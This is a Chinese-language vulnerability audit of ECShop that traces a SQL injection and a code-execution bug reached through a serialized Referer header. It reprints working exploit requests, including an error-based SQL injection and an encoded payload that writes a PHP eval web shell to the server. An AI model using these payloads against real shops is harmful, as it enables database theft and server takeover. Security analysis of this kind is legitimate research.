0x01 前言
这次审计的是deshop的两个漏洞,分别是SQL注入以及任意代码执行
0x02 过程
网上已经给出的payload
GET /ecshop/user.php?act=login HTTP/1.1
Host: 192.168.0.111
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=pkqj0jkhnaagobf7hc747ngjn3; ECS_ID=0a8b9fcc306534a8f8ca6f06736ff7631934ce7e; ECS[visit_times]=1; XDEBUG_SESSION=18800
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
我们来相关代码。首先获取请求包中的Referer请求头,紧接着跟进$smarty->assign(‘back_act’, $back_act);
可以看到,该函数会将Referer的值保存到$this->_var数组里面。我们在看看user.php的display函数
程序首先会进入fetch函数,跟进看看
程序首先会进入第25行的赋值,然后会执行到第44行,函数make_compiled会返回编译后的文件内容。
<?php
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
if ($this->_checkfile)
{
if (!file_exists($filename))
{
$filename = $this->template_dir . '/' . $filename;
}
}
else
{
$filename = $this->template_dir . '/' . $filename;
}
if ($this->direct_output)
{
$this->_current_file = $filename;
$out = $this->_eval($this->fetch_str(file_get_contents($filename)));
}
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
}
$out = $this->make_compiled($filename);
if ($cache_id)
{
$cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
$data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
$out = str_replace("\r", '', $out);
while (strpos($out, "\n\n") !== false)
{
$out = str_replace("\n\n", "\n", $out);
}
$hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
if (!is_dir($hash_dir))
{
mkdir($hash_dir);
}
if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
}
$this->template = array();
}
}
}
}
$this->_seterror--;
if (!$this->_seterror)
{
error_reporting($this->_errorlevel);
}
return $out; // 返回html数据
}
我们再来看看display函数,由于我们的请求头包含了它所需要的字符串所以会进入该流程。
我们需要看第三个数组的内容。跟进
第二个数组是序列号之后的内容,在请求头可以控制
继续跟进,如下图
会执行下面的SQL语句
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1607175865' AND end_time >= '1607175865' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
命令执行的漏洞同样存在此地方,我们来看看payload
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
其中十六进制的内容为
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
执行的SQL语句为
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1607176177' AND end_time >= '1607176177' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -
我们直接看关键点,跟进
继续跟进_eval函数
如下图,命令执行的最终点。